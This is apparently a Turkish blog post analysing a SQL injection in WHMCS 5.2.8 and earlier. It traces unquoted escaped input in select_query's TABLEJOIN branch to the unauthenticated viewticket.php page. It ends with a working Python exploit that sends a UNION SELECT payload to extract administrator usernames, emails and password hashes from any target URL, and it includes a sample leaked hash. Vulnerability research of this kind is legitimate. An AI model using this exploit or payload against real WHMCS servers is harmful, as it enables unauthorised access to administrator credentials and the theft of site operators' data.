WHMCS <= 5.2.8 SQL Injection Zafiyeti Analizi

Merhaba

WHMCS, web sunucuları için yönetimsel arayüz hizmete veren ve PHP ile yazılmış bir yazılımdır. Bir çok web sunucusunda kurulu olan bu uygulamanın 5.2.8 versiyonu ve öncesini etkileyen SQL Injection zafiyeti bulunmaktadır. Bu yazıda WHMCS 5.2.8 SQL Injection zafiyetinin nasıl oluştuğu analiz edilecektir.

Yazılım genel olarak incelendiğinde pek çok  SELECT sorgusu select_query adından ki bir fonksiyon ile oluşturulmaktadır. Bu fonksiyonun tanımlandığı dosyayı aşağıdaki bash script betiği ile bulunabilir.

mince@rootlab www $ find . -type f|grep 'php'|xargs grep 'function select_query('

#Dönen sonuç
./whmcs_5.2.8_mtimer-master/includes/dbfunctions.php:function select_query($table, $fields, $where, $orderby = "", $orderbyorder = "", $limit = "", $innerjoin = "") {

./whmcs_5.2.8_mtimer-master/includes/dbfunctions.php dosyası metin editörü ile açıldığında select_query fonksiyonu aşağıdaki şekilde tanımlandığı görülmektedir.

function select_query($table, $fields, $where, $orderby = "", $orderbyorder = "", $limit = "", $innerjoin = "") {
	global $CONFIG;
	global $query_count;
	global $mysql_errors;
	global $whmcsmysql;

	if (!$fields) {
		$fields = "*";
	}

	$query = "SELECT " . $fields . " FROM " . db_make_safe_field( $table );

	if ($innerjoin) {
		$query .= " INNER JOIN " . db_escape_string( $innerjoin ) . "";
	}

	if ($where) {
		if (is_array( $where )) {
			$criteria = array();
			foreach ($where as $origkey => $value) {
				$key = db_make_safe_field( $origkey );

				if (is_array( $value )) {
					if ($key == "default") {
						$key = "`default`";
					}

					if ($value["sqltype"] == "LIKE") {
						$criteria[] = "" . $key . " LIKE '%" . db_escape_string( $value["value"] ) . "%'";
						continue;
					}

					if ($value["sqltype"] == "NEQ") {
						$criteria[] = "" . $key . "!='" . db_escape_string( $value["value"] ) . "'";
						continue;
					}

					if ($value["sqltype"] == ">") {
						$criteria[] = "" . $key . ">" . db_escape_string( $value["value"] ) . "";
						continue;
					}

					if ($value["sqltype"] == "<") {
						$criteria[] = "" . $key . "<" . db_escape_string( $value["value"] ) . "";
						continue;
					}

					if ($value["sqltype"] == "<=") {
						$criteria[] = "" . $origkey . "<=" . db_escape_string( $value["value"] ) . "";
						continue;
					}

					if ($value["sqltype"] == ">=") {
						$criteria[] = "" . $origkey . ">=" . db_escape_string( $value["value"] ) . "";
						continue;
					}

					if ($value["sqltype"] == "TABLEJOIN") {
						$criteria[] = "" . $key . "=" . db_escape_string( $value["value"] ) . "";
						continue;
					}

					if ($value["sqltype"] == "IN") {
						$criteria[] = "" . $key . " IN ('" . implode( "','", db_escape_array( $value["values"] ) ) . "')";
						continue;
					}

					continue;
				}

				if (substr( $key, 0, 3 ) == "MD5") {
					$key = explode( "(", $origkey, 2 );
					$key = explode( ")", $key[1], 2 );
					$key = db_make_safe_field( $key[0] );
					$key = "MD5(" . $key . ")";
				}
				else {
					if (strpos( $key, "." )) {
						$key = explode( ".", $key );
						$key = "`" . $key[0] . "`.`" . $key[1] . "`";
					}
					else {
						$key = "`" . $key . "`";
					}
				}

				$criteria[] = "" . $key . "='" . db_escape_string( $value ) . "'";
			}

			$query .= " WHERE " . implode( " AND ", $criteria );
		}
		else {
			$query .= " WHERE " . $where;
		}
	}

	if ($orderby) {
		$orderbysql = tokenizeOrderby( $orderby, $orderbyorder );
		$query .= " ORDER BY " . implode( ",", $orderbysql );
	}

	if ($limit) {
		if (strpos( $limit, "," )) {
			$limit = explode( ",", $limit );
			$limit = (int)$limit[0] . "," . (int)$limit[1];
		}
		else {
			$limit = (int)$limit;
		}

		$query .= " LIMIT " . $limit;
	}

	$result = mysql_query( $query, $whmcsmysql );

	if (( !$result && ( $CONFIG["SQLErrorReporting"] || $mysql_errors ) )) {
		logActivity( "SQL Error: " . mysql_error( $whmcsmysql ) . " - Full Query: " . $query );
	}

	++$query_count;
	return $result;
}

Yukarıdaki PHP kodları analiz edildiğinde; WHERE statement’ı için birden fazla durum kontrol edildiği görülmektedir. Her durum kontrolü sonunda ise $value değeri db_escape_string() fonksiyonuna gönderilmektedir.

db_escape_string fonksiyonu gene aynı dosyada tanımlıdır ve kodları aşağıdaki gibidir.

function db_escape_string($string) {
	$string = mysql_real_escape_string( $string );
	return $string;
}

Beklenildiği üzere mysql_real_escape_string fonksiyonu burada görev almaktadır. Bu fonksiyon sql injection saldırılarına önlem alınması için geliştirilmiştir. Şu ana kadar herhangi bir SQL Injection zafiyeti tespit edilememiş gibi gözüksede, gizli bir sql injecition zafiyeti bulunmaktadır.

Mysql_real_escape_string Ne işe yarar ?

SQL Injection saldırı payloadları genellikle tek tırnak işareti ile başlar. Bunun sebebi kod tarafından native tanımlanmış olan sql query syntax’ında hatadan kurtulmaktır.

SELECT * FROM foo WHERE id = '$id';

Yukarıdaki örnekte $id değişkeni kullanıcı tarafından tanımlanmakta olan bir user input’udur. SQL sorgusunda syntax hatası olmaması için SQL Injection payload’ı tek tırnak ile başlayıp ‘ or ‘1’=’1  şeklinde olmalıdır. Buradaki en önemli nokta payload’ın sonunda tek tırnak olmamasıdır. Bu sayede syntax hatasından kaçılmış olur.

SELECT * FROM foo WHERE id ='1' or '1'='1'

Bu durumun farkına varan PHP geliştiricileri mysql_real_escape_string fonksiyonunu geliştirmişlerdir. Bu fonksiyon tek tırnakları \’ işareti ile değiştirmektedir.

<?php
echo mysql_real_escape_string(" ' or '1'='1 ");

# Dönen sonuç
\' or \'1\'=\'1

Bu sayede sql injection saldırısı yapılsa bile ters slash işaretlerinden ötürü syntax hatasına neden olunacağı için saldırı başarıya ulaşamayacaktır.

ve GOL!

Uygulama geliştirici arkadaşlar mysql_real_escape_string fonksiyonunu kullandıklarında her zaman SQL Injection zafiyetine karşı korunmuş olmazlar. Eğer kod tarafında tanımlanmış native sorgu WHERE statement’ında TEK TIRNAK içermiyorsa bu sefer saldırı başarılı olacaktır.

SELECT * FROM foo WHERE id = $id

Saldırgan bu sefer sql injection payload’ı olarak ‘ or ‘1’=’1 yazmak zorunda değildir. Çünkü sql sorgusunda herhangi bir tek tırnak bulunmamaktadır. Bu nedenle 1 or 1=1 yazıldığında sorgu hatası çalışacaktır. Kullanıcı girdisinde sadece tek tırnak için işlem yapan mysql_real_escape_string fonksiyonunun kullanılmasıda herhangi bir koruma sağlayamamış olacaktır.

Analize Devam ve viewticket.php Dosyası

select_query fonksiyonunun analizine devam ettiğimizde aşağıdaki durum özet olarak ifade edilebilir.

Parametre olarak alınan $where değişkeni üzerinden iterasyon yapılarak her WHERE statement’i değeri db_escape_string fonksiyonundan geçirilmektedir. Bu durumda tüm WHERE statement oluşturma aşamalarından sorumlu döngü kontrol edildiğinde aşağıdaki satır dikkat çekmektedir.

if ($value["sqltype"] == "TABLEJOIN") {
     $criteria[] = "" . $key . "=" . db_escape_string( $value["value"] ) . "";
     continue;
}

Eğer sqltype değeri TABLEJOIN eşitse, değer db_escape_string fonksiyonundan geçirilerek $criteria dizisine yazılmaktadır. Burada ki en önemli nokta. aşağıdaki satırdır.

$criteria[] = "" . $key . "=" . db_escape_string( $value["value"] ) . "";

Dikkatlice okunduğunda db_escape_string fonksiyonundan dönen değer direk eşittir ifadesinin sağ tarafında atanmıştır. Bu atama işlemide TEK TIRNAK’ların arasına yazılmadan gerçekleştirilmiştir. Bu durumda db_escape_string fonksiyonu, bir önceki alt başlıkta anlatılan nedenlerden ötürü herhangi bir işe yaramayacaktır.

Exploitation

select_query fonksiyonunda potansiyel bir SQL Injection zafiyeti olduğu görülmektedir.  Şimdi ise yazılım genelinde bu exploiti kullanabileceğimiz uygun bir select_query kullanılmış PHP dosyası bulunmalıdır. Bu durumda viewticket.php  , istenileni tam olarak vermektedir. Ayrıca en büyük tehlikeye neden olan kısım ise bu dosyaya erişim için herhangi bir oturumun olmasına gerek yoktur. Bu dosya web üzerinden herhangi bir kullanıcıya açık durumdadır.

Ticketview.php dosyasından alınan aşağıdaki kodların sadece 6, 35 ve 36. satırlarını okuyunuz.

define("CLIENTAREA", true);
require("init.php");
require("includes/ticketfunctions.php");
require("includes/clientfunctions.php");
require("includes/customfieldfunctions.php");
$tid = $whmcs->get_req_var("tid");
$c = preg_replace("/[^A-Za-z0-9]/", "", $c);
$clientname = $clientemail = "";
$pagetitle = $_LANG["supportticketsviewticket"];
$breadcrumbnav = "<a href=\"index.php\">" . $_LANG["globalsystemname"] . "</a> > <a href=\"clientarea.php\">" . $_LANG["clientareatitle"] . "</a> > <a href=\"supporttickets.php\">" . $_LANG["supportticketspagetitle"] . "" . "</a> > <a href=\"viewticket.php?tid=" . $tid . "&amp;c=" . $c . "\">" . $_LANG["supportticketsviewticket"] . "</a>";
$pageicon = "images/supporttickets_big.gif";
$templatefile = "viewticket";
initialiseClientArea($pagetitle, $pageicon, $breadcrumbnav);
checkContactPermission("tickets");
$usingsupportmodule = false;
if( $CONFIG["SupportModule"] ) 
{
    if( !isValidforPath($CONFIG["SupportModule"]) ) 
    {
        exit( "Invalid Support Module" );
    }

    $supportmodulepath = "modules/support/" . $CONFIG["SupportModule"] . "/viewticket.php";
    if( file_exists($supportmodulepath) ) 
    {
        $usingsupportmodule = true;
        $templatefile = "";
        require($supportmodulepath);
        outputClientArea($templatefile);
        exit();
    }

}

$result = select_query("tbltickets", "", array( "tid" => $tid, "c" => $c ));
$data = mysql_fetch_array($result);

6. satırda kullanıcıdan POST talebi ile tid değişkeni alınmaktadır.

35. satırda alınan bir $tid değişkeni select_query fonksiyonuna $where parametresi olarak aktarılmıştır.

36. satırda ise select_query tarafından oluşturulan sql sorgusu çalıştırılmaktadır.

SQLi Payloadı

select_query fonksiyonunda tek tırnakların kullanılmamasından ötürü sql injection potansiyeli bulunduran if kısmına girebilmek için sqltype değerinin TABLEJOIN olması gerekiyordu. Eğer bu durum sağlanırsa value değeri db_escape_string fonksiyonundan geçirilerek SQL sorgusuna yerleştirilmekteydi. Bu şartları sağlamak için aşağıdaki HTTP POST talebi değişkeni oluşturulmalıdır.

tid[sqltype]=TABLEJOIN&tid[value]=-1

Value değeri -1 olarak tanımlamıştır ve bu değer üzerinden SQL Injection gerçekleştirilebilmektedir.

whmcs

 

Dönen sayfada ile admin kullanıcısının hash’i bulunmaktadır.

:::::1:mince:mehmet@mehmetince.net:6092b8f1bc5b6c88158a7e8d0312dec3:::::

 Python ile Exploit Kodunun Geliştirilmesi

Şimdiye kadar anlatılan ve teknik analizi gerçekleştirilen bu SQL Injection zafiyetini otomatize olarak kullanılmak istenebilir. Bu işlemleri otomatize halde gerçekleştiren exploit kodu python ile yazmış bulunmaktadır.

import urllib
import httplib2
import sys
import re

if len(sys.argv) < 2:
    sys.stderr.write('Usage: sys.argv[0] http://www.target.com/ ')
    sys.exit(1)

url = sys.argv[1]+"viewticket.php"  
body = {'tid[sqltype]': 'TABLEJOIN', 
        'tid[value]': '-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(0x3a3a3a3a3a,id,0x3a,username,0x3a,email,0x3a,password,0x3a3a3a3a3a) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#'}
headers = {'Content-type': 'application/x-www-form-urlencoded'}

http = httplib2.Http()
response, content = http.request(url, 'POST', headers=headers, body=urllib.urlencode(body))
if response.status != 200:
	print "[!] Exploit Failed!"
	exit(1)
final = re.search(':::::(.*?):::::', content).group().split(':')
print "ID       = " + final[5]
print "Username = " + final[6]
print "Mail     = " + final[7]
print "Hash     = " + final[8]

Sonuç:

whmcs python exploit